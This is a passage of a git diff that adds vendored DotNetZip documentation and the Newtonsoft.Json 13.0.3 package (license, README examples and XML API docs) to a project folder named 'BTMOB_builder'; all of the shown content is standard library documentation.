+ + + + FileSelector encapsulates logic that selects files from a source - a zip file + or the filesystem - based on a set of criteria. This class is used internally + by the DotNetZip library, in particular for the AddSelectedFiles() methods. + This class can also be used independently of the zip capability in DotNetZip. + + + + + + The FileSelector class is used internally by the ZipFile class for selecting + files for inclusion into the ZipFile, when the method, or one of + its overloads, is called. It's also used for the methods. Typically, an + application that creates or manipulates Zip archives will not directly + interact with the FileSelector class. + + + + Some applications may wish to use the FileSelector class directly, to + select files from disk volumes based on a set of criteria, without creating or + querying Zip archives. The file selection criteria include: a pattern to + match the filename; the last modified, created, or last accessed time of the + file; the size of the file; and the attributes of the file. + + + + Consult the documentation for + for more information on specifying the selection criteria. + + + + + + + Constructor that allows the caller to specify file selection criteria. + + + + + This constructor allows the caller to specify a set of criteria for + selection of files. + + + + See for a description of + the syntax of the selectionCriteria string. + + + + By default the FileSelector will traverse NTFS Reparse Points. To + change this, use FileSelector(String, bool). + + + + The criteria for file selection. + + + + Constructor that allows the caller to specify file selection criteria. + + + + + This constructor allows the caller to specify a set of criteria for + selection of files. + + + + See for a description of + the syntax of the selectionCriteria string. + + + + The criteria for file selection. + + whether to traverse NTFS reparse points (junctions). + + + + + The string specifying which files to include when retrieving. + + + + + Specify the criteria in statements of 3 elements: a noun, an operator, + and a value. Consider the string "name != *.doc" . The noun is + "name". The operator is "!=", implying "Not Equal". The value is + "*.doc". That criterion, in English, says "all files with a name that + does not end in the .doc extension." + + + + Supported nouns include "name" (or "filename") for the filename; + "atime", "mtime", and "ctime" for last access time, last modfied time, + and created time of the file, respectively; "attributes" (or "attrs") + for the file attributes; "size" (or "length") for the file length + (uncompressed); and "type" for the type of object, either a file or a + directory. The "attributes", "type", and "name" nouns all support = + and != as operators. The "size", "atime", "mtime", and "ctime" nouns + support = and !=, and >, >=, <, <= as well. The times are + taken to be expressed in local time. + + + + Specify values for the file attributes as a string with one or more of + the characters H,R,S,A,I,L in any order, implying file attributes of + Hidden, ReadOnly, System, Archive, NotContextIndexed, and ReparsePoint + (symbolic link) respectively. + + + + To specify a time, use YYYY-MM-DD-HH:mm:ss or YYYY/MM/DD-HH:mm:ss as + the format. If you omit the HH:mm:ss portion, it is assumed to be + 00:00:00 (midnight). + + + + The value for a size criterion is expressed in integer quantities of + bytes, kilobytes (use k or kb after the number), megabytes (m or mb), + or gigabytes (g or gb). + + + + The value for a name is a pattern to match against the filename, + potentially including wildcards. The pattern follows CMD.exe glob + rules: * implies one or more of any character, while ? implies one + character. If the name pattern contains any slashes, it is matched to + the entire filename, including the path; otherwise, it is matched + against only the filename without the path. This means a pattern of + "*\*.*" matches all files one directory level deep, while a pattern of + "*.*" matches all files in all directories. + + + + To specify a name pattern that includes spaces, use single quotes + around the pattern. A pattern of "'* *.*'" will match all files that + have spaces in the filename. The full criteria string for that would + be "name = '* *.*'" . + + + + The value for a type criterion is either F (implying a file) or D + (implying a directory). + + + + Some examples: + + + + + criteria + Files retrieved + + + + name != *.xls + any file with an extension that is not .xls + + + + + name = *.mp3 + any file with a .mp3 extension. + + + + + *.mp3 + (same as above) any file with a .mp3 extension. + + + + + attributes = A + all files whose attributes include the Archive bit. + + + + + attributes != H + all files whose attributes do not include the Hidden bit. + + + + + mtime > 2009-01-01 + all files with a last modified time after January 1st, 2009. + + + + + ctime > 2009/01/01-03:00:00 + all files with a created time after 3am (local time), + on January 1st, 2009. + + + + + size > 2gb + all files whose uncompressed size is greater than 2gb. + + + + + type = D + all directories in the filesystem. + + + + + + You can combine criteria with the conjunctions AND, OR, and XOR. Using + a string like "name = *.txt AND size >= 100k" for the + selectionCriteria retrieves entries whose names end in .txt, and whose + uncompressed size is greater than or equal to 100 kilobytes. + + + + For more complex combinations of criteria, you can use parenthesis to + group clauses in the boolean logic. Absent parenthesis, the + precedence of the criterion atoms is determined by order of + appearance. Unlike the C# language, the AND conjunction does not take + precendence over the logical OR. This is important only in strings + that contain 3 or more criterion atoms. In other words, "name = *.txt + and size > 1000 or attributes = H" implies "((name = *.txt AND size + > 1000) OR attributes = H)" while "attributes = H OR name = *.txt + and size > 1000" evaluates to "((attributes = H OR name = *.txt) + AND size > 1000)". When in doubt, use parenthesis. + + + + Using time properties requires some extra care. If you want to + retrieve all entries that were last updated on 2009 February 14, + specify "mtime >= 2009-02-14 AND mtime < 2009-02-15". Read this + to say: all files updated after 12:00am on February 14th, until + 12:00am on February 15th. You can use the same bracketing approach to + specify any time period - a year, a month, a week, and so on. + + + + The syntax allows one special case: if you provide a string with no + spaces, it is treated as a pattern to match for the filename. + Therefore a string like "*.xls" will be equivalent to specifying "name + = *.xls". This "shorthand" notation does not work with compound + criteria. + + + + There is no logic in this class that insures that the inclusion + criteria are internally consistent. For example, it's possible to + specify criteria that says the file must have a size of less than 100 + bytes, as well as a size that is greater than 1000 bytes. Obviously + no file will ever satisfy such criteria, but this class does not check + for or detect such inconsistencies. + + + + + + Thrown in the setter if the value has an invalid syntax. + + + + + Indicates whether searches will traverse NTFS reparse points, like Junctions. + + + + + Returns a string representation of the FileSelector object. + + The string representation of the boolean logic statement of the file + selection criteria for this instance. + + + + Returns the names of the files in the specified directory + that fit the selection criteria specified in the FileSelector. + + + + This is equivalent to calling + with recurseDirectories = false. + + + + The name of the directory over which to apply the FileSelector + criteria. + + + + A collection of strings containing fully-qualified pathnames of files + that match the criteria specified in the FileSelector instance. + + + + + Returns the names of the files in the specified directory that fit the + selection criteria specified in the FileSelector, optionally recursing + through subdirectories. + + + + This method applies the file selection criteria contained in the + FileSelector to the files contained in the given directory, and + returns the names of files that conform to the criteria. + + + + The name of the directory over which to apply the FileSelector + criteria. + + + + Whether to recurse through subdirectories when applying the file + selection criteria. + + + + A collection of strings containing fully-qualified pathnames of files + that match the criteria specified in the FileSelector instance. + + + + + Retrieve the ZipEntry items in the ZipFile that conform to the specified criteria. + + + + + This method applies the criteria set in the FileSelector instance (as described in + the ) to the specified ZipFile. Using this + method, for example, you can retrieve all entries from the given ZipFile that + have filenames ending in .txt. + + + + Normally, applications would not call this method directly. This method is used + by the ZipFile class. + + + + Using the appropriate SelectionCriteria, you can retrieve entries based on size, + time, and attributes. See for a + description of the syntax of the SelectionCriteria string. + + + + + The ZipFile from which to retrieve entries. + + a collection of ZipEntry objects that conform to the criteria. + + + + Retrieve the ZipEntry items in the ZipFile that conform to the specified criteria. + + + + + This method applies the criteria set in the FileSelector instance (as described in + the ) to the specified ZipFile. Using this + method, for example, you can retrieve all entries from the given ZipFile that + have filenames ending in .txt. + + + + Normally, applications would not call this method directly. This method is used + by the ZipFile class. + + + + This overload allows the selection of ZipEntry instances from the ZipFile to be restricted + to entries contained within a particular directory in the ZipFile. + + + + Using the appropriate SelectionCriteria, you can retrieve entries based on size, + time, and attributes. See for a + description of the syntax of the SelectionCriteria string. + + + + + The ZipFile from which to retrieve entries. + + + the directory in the archive from which to select entries. If null, then + all directories in the archive are used. + + + a collection of ZipEntry objects that conform to the criteria. + + + + Summary description for EnumUtil. + + + + + Returns the value of the DescriptionAttribute if the specified Enum + value has one. If not, returns the ToString() representation of the + Enum value. + + The Enum to get the description for + + + + + Converts the string representation of the name or numeric value of one + or more enumerated constants to an equivalent enumerated object. + Note: use the DescriptionAttribute on enum values to enable this. + + The System.Type of the enumeration. + + A string containing the name or value to convert. + + + + + + Converts the string representation of the name or numeric value of one + or more enumerated constants to an equivalent enumerated object. A + parameter specified whether the operation is case-sensitive. Note: + use the DescriptionAttribute on enum values to enable this. + + The System.Type of the enumeration. + + A string containing the name or value to convert. + + + Whether the operation is case-sensitive or not. + + +
+
diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/.signature.p7s b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/.signature.p7s new file mode 100644 index 0000000..d55e472 Binary files /dev/null and b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/.signature.p7s differ diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/LICENSE.md b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/LICENSE.md new file mode 100644 index 0000000..6cc88f2 --- /dev/null +++ b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/LICENSE.md @@ -0,0 +1,20 @@ +The MIT License (MIT) + +Copyright (c) 2007 James Newton-King + +Permission is hereby granted, free of charge, to any person obtaining a copy of +this software and associated documentation files (the "Software"), to deal in +the Software without restriction, including without limitation the rights to +use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software is furnished to do so, +subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS +FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR +COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER +IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/Newtonsoft.Json.13.0.3.nupkg b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/Newtonsoft.Json.13.0.3.nupkg new file mode 100644 index 0000000..5829e3d Binary files /dev/null and b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/Newtonsoft.Json.13.0.3.nupkg differ diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/README.md b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/README.md new file mode 100644 index 0000000..c17a272 --- /dev/null +++ b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/README.md @@ -0,0 +1,71 @@ +# ![Logo](https://raw.githubusercontent.com/JamesNK/Newtonsoft.Json/master/Doc/icons/logo.jpg) Json.NET + +[![NuGet version (Newtonsoft.Json)](https://img.shields.io/nuget/v/Newtonsoft.Json.svg?style=flat-square)](https://www.nuget.org/packages/Newtonsoft.Json/) +[![Build status](https://dev.azure.com/jamesnk/Public/_apis/build/status/JamesNK.Newtonsoft.Json?branchName=master)](https://dev.azure.com/jamesnk/Public/_build/latest?definitionId=8) + +Json.NET is a popular high-performance JSON framework for .NET + +## Serialize JSON + +```csharp +Product product = new Product(); +product.Name = "Apple"; +product.Expiry = new DateTime(2008, 12, 28); +product.Sizes = new string[] { "Small" }; + +string json = JsonConvert.SerializeObject(product); +// { +// "Name": "Apple", +// "Expiry": "2008-12-28T00:00:00", +// "Sizes": [ +// "Small" +// ] +// } +``` + +## Deserialize JSON + +```csharp +string json = @"{ + 'Name': 'Bad Boys', + 'ReleaseDate': '1995-4-7T00:00:00', + 'Genres': [ + 'Action', + 'Comedy' + ] +}"; + +Movie m = JsonConvert.DeserializeObject(json); + +string name = m.Name; +// Bad Boys +``` + +## LINQ to JSON + +```csharp +JArray array = new JArray(); +array.Add("Manual text"); +array.Add(new DateTime(2000, 5, 23)); + +JObject o = new JObject(); +o["MyArray"] = array; + +string json = o.ToString(); +// { +// "MyArray": [ +// "Manual text", +// "2000-05-23T00:00:00" +// ] +// } +``` + +## Links + +- [Homepage](https://www.newtonsoft.com/json) +- [Documentation](https://www.newtonsoft.com/json/help) +- [NuGet Package](https://www.nuget.org/packages/Newtonsoft.Json) +- [Release Notes](https://github.com/JamesNK/Newtonsoft.Json/releases) +- [Contributing Guidelines](https://github.com/JamesNK/Newtonsoft.Json/blob/master/CONTRIBUTING.md) +- [License](https://github.com/JamesNK/Newtonsoft.Json/blob/master/LICENSE.md) +- [Stack Overflow](https://stackoverflow.com/questions/tagged/json.net) diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net20/Newtonsoft.Json.dll b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net20/Newtonsoft.Json.dll new file mode 100644 index 0000000..9c0a335 Binary files /dev/null and b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net20/Newtonsoft.Json.dll differ diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net20/Newtonsoft.Json.xml b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net20/Newtonsoft.Json.xml new file mode 100644 index 0000000..280738b --- /dev/null +++ b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net20/Newtonsoft.Json.xml @@ -0,0 +1,10393 @@ + + + + Newtonsoft.Json + + + + + Represents a BSON Oid (object id). + + + + + Gets or sets the value of the Oid. + + The value of the Oid. + + + + Initializes a new instance of the class. + + The Oid value. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. + + + + + Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. + + + true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. + + + + + Gets or sets a value indicating whether the root object will be read as a JSON array. + + + true if the root object will be read as a JSON array; otherwise, false. + + + + + Gets or sets the used when reading values from BSON. + + The used when reading values from BSON. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + if set to true the root object will be read as a JSON array. + The used when reading values from BSON. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + if set to true the root object will be read as a JSON array. + The used when reading values from BSON. + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. + + + + + Gets or sets the used when writing values to BSON. + When set to no conversion will occur. + + The used when writing values to BSON. + + + + Initializes a new instance of the class. + + The to write to. + + + + Initializes a new instance of the class. + + The to write to. + + + + Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. + + + + + Writes the end. + + The token. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + + + + Writes the beginning of a JSON array. + + + + + Writes the beginning of a JSON object. + + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Closes this writer. + If is set to true, the underlying is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value that represents a BSON object id. + + The Object ID value to write. + + + + Writes a BSON regex. + + The regex pattern. + The regex options. + + + + Specifies how constructors are used when initializing objects during deserialization by the . + + + + + First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. + + + + + Json.NET will use a non-public default constructor before falling back to a parameterized constructor. + + + + + Converts a binary value to and from a base 64 string value. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON and BSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Creates a custom object. + + The object type to convert. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Creates an object which will then be populated by the serializer. + + Type of the object. + The created object. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can write JSON. + + + true if this can write JSON; otherwise, false. + + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Provides a base class for converting a to and from JSON. + + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). + + + + + Gets or sets the date time styles used when converting a date to and from JSON. + + The date time styles used when converting a date to and from JSON. + + + + Gets or sets the date time format used when converting a date to and from JSON. + + The date time format used when converting a date to and from JSON. + + + + Gets or sets the culture used when converting a date to and from JSON. + + The culture used when converting a date to and from JSON. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON and BSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an to and from its name string value. + + + + + Gets or sets a value indicating whether the written enum text should be camel case. + The default value is false. + + true if the written enum text will be camel case; otherwise, false. + + + + Gets or sets the naming strategy used to resolve how enum text is written. + + The naming strategy used to resolve how enum text is written. + + + + Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. + The default value is true. + + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class. + + true if the written enum text will be camel case; otherwise, false. + + + + Initializes a new instance of the class. + + The naming strategy used to resolve how enum text is written. + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from Unix epoch time + + + + + Gets or sets a value indicating whether the dates before Unix epoch + should converted to and from JSON. + + + true to allow converting dates before Unix epoch to and from JSON; + false to throw an exception when a date being converted to or from JSON + occurred before Unix epoch. The default value is false. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class. + + + true to allow converting dates before Unix epoch to and from JSON; + false to throw an exception when a date being converted to or from JSON + occurred before Unix epoch. The default value is false. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Converts a to and from a string (e.g. "1.2.3.4"). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts XML to and from JSON. + + + + + Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. + + The name of the deserialized root element. + + + + Gets or sets a value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + true if the array attribute is written to the XML; otherwise, false. + + + + Gets or sets a value indicating whether to write the root JSON object. + + true if the JSON root object is omitted; otherwise, false. + + + + Gets or sets a value indicating whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + true if special characters are encoded; otherwise, false. + + + + Writes the JSON representation of the object. + + The to write to. + The calling serializer. + The value. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Checks if the is a namespace attribute. + + Attribute name to test. + The attribute name prefix if it has one, otherwise an empty string. + true if attribute name is for a namespace attribute, otherwise false. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Specifies how dates are formatted when writing JSON text. + + + + + Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". + + + + + Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". + + + + + Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. + + + + + Date formatted strings are not parsed to a date type and are read as strings. + + + + + Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . + + + + + Specifies how to treat the time value when converting between string and . + + + + + Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. + + + + + Treat as a UTC. If the object represents a local time, it is converted to a UTC. + + + + + Treat as a local time if a is being converted to a string. + If a string is being converted to , convert to a local time if a time zone is specified. + + + + + Time zone information should be preserved when converting. + + + + + The default JSON name table implementation. + + + + + Initializes a new instance of the class. + + + + + Gets a string containing the same characters as the specified range of characters in the given array. + + The character array containing the name to find. + The zero-based index into the array specifying the first character of the name. + The number of characters in the name. + A string containing the same characters as the specified range of characters in the given array. + + + + Adds the specified string into name table. + + The string to add. + This method is not thread-safe. + The resolved string. + + + + Specifies default value handling options for the . + + + + + + + + + Include members where the member value is the same as the member's default value when serializing objects. + Included members are written to JSON. Has no effect when deserializing. + + + + + Ignore members where the member value is the same as the member's default value when serializing objects + so that it is not written to JSON. + This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, + decimals and floating point numbers; and false for booleans). The default value ignored can be changed by + placing the on the property. + + + + + Members with a default value but no JSON will be set to their default value when deserializing. + + + + + Ignore members where the member value is the same as the member's default value when serializing objects + and set members to their default value when deserializing. + + + + + Specifies float format handling options when writing special floating point numbers, e.g. , + and with . + + + + + Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". + + + + + Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. + Note that this will produce non-valid JSON. + + + + + Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. + + + + + Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + + + + + Floating point numbers are parsed to . + + + + + Floating point numbers are parsed to . + + + + + Specifies formatting options for the . + + + + + No special formatting is applied. This is the default. + + + + + Causes child objects to be indented according to the and settings. + + + + + Provides an interface for using pooled arrays. + + The array type content. + + + + Rent an array from the pool. This array must be returned when it is no longer needed. + + The minimum required length of the array. The returned array may be longer. + The rented array from the pool. This array must be returned when it is no longer needed. + + + + Return an array to the pool. + + The array that is being returned. + + + + Provides an interface to enable a class to return line and position information. + + + + + Gets a value indicating whether the class can return line information. + + + true if and can be provided; otherwise, false. + + + + + Gets the current line number. + + The current line number or 0 if no line information is available (for example, when returns false). + + + + Gets the current line position. + + The current line position or 0 if no line information is available (for example, when returns false). + + + + Instructs the how to serialize the collection. + + + + + Gets or sets a value indicating whether null items are allowed in the collection. + + true if null items are allowed in the collection; otherwise, false. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with a flag indicating whether the array can contain null items. + + A flag indicating whether the array can contain null items. + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Instructs the to use the specified constructor when deserializing that object. + + + + + Instructs the how to serialize the object. + + + + + Gets or sets the id. + + The id. + + + + Gets or sets the title. + + The title. + + + + Gets or sets the description. + + The description. + + + + Gets or sets the collection's items converter. + + The collection's items converter. + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets a value that indicates whether to preserve object references. + + + true to keep object reference; otherwise, false. The default is false. + + + + + Gets or sets a value that indicates whether to preserve collection's items references. + + + true to keep collection's items object references; otherwise, false. The default is false. + + + + + Gets or sets the reference loop handling used when serializing the collection's items. + + The reference loop handling. + + + + Gets or sets the type name handling used when serializing the collection's items. + + The type name handling. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Provides methods for converting between .NET types and JSON types. + + + + + + + + Gets or sets a function that creates default . + Default settings are automatically used by serialization methods on , + and and on . + To serialize without using any default settings create a with + . + + + + + Represents JavaScript's boolean value true as a string. This field is read-only. + + + + + Represents JavaScript's boolean value false as a string. This field is read-only. + + + + + Represents JavaScript's null as a string. This field is read-only. + + + + + Represents JavaScript's undefined as a string. This field is read-only. + + + + + Represents JavaScript's positive infinity as a string. This field is read-only. + + + + + Represents JavaScript's negative infinity as a string. This field is read-only. + + + + + Represents JavaScript's NaN as a string. This field is read-only. + + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation using the specified. + + The value to convert. + The format the date will be converted to. + The time zone handling when the date is converted to a string. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + The string delimiter character. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + The string delimiter character. + The string escape handling. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Serializes the specified object to a JSON string. + + The object to serialize. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using formatting. + + The object to serialize. + Indicates how the output should be formatted. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a collection of . + + The object to serialize. + A collection of converters used while serializing. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using formatting and a collection of . + + The object to serialize. + Indicates how the output should be formatted. + A collection of converters used while serializing. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using . + + The object to serialize. + The used to serialize the object. + If this is null, default serialization settings will be used. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a type, formatting and . + + The object to serialize. + The used to serialize the 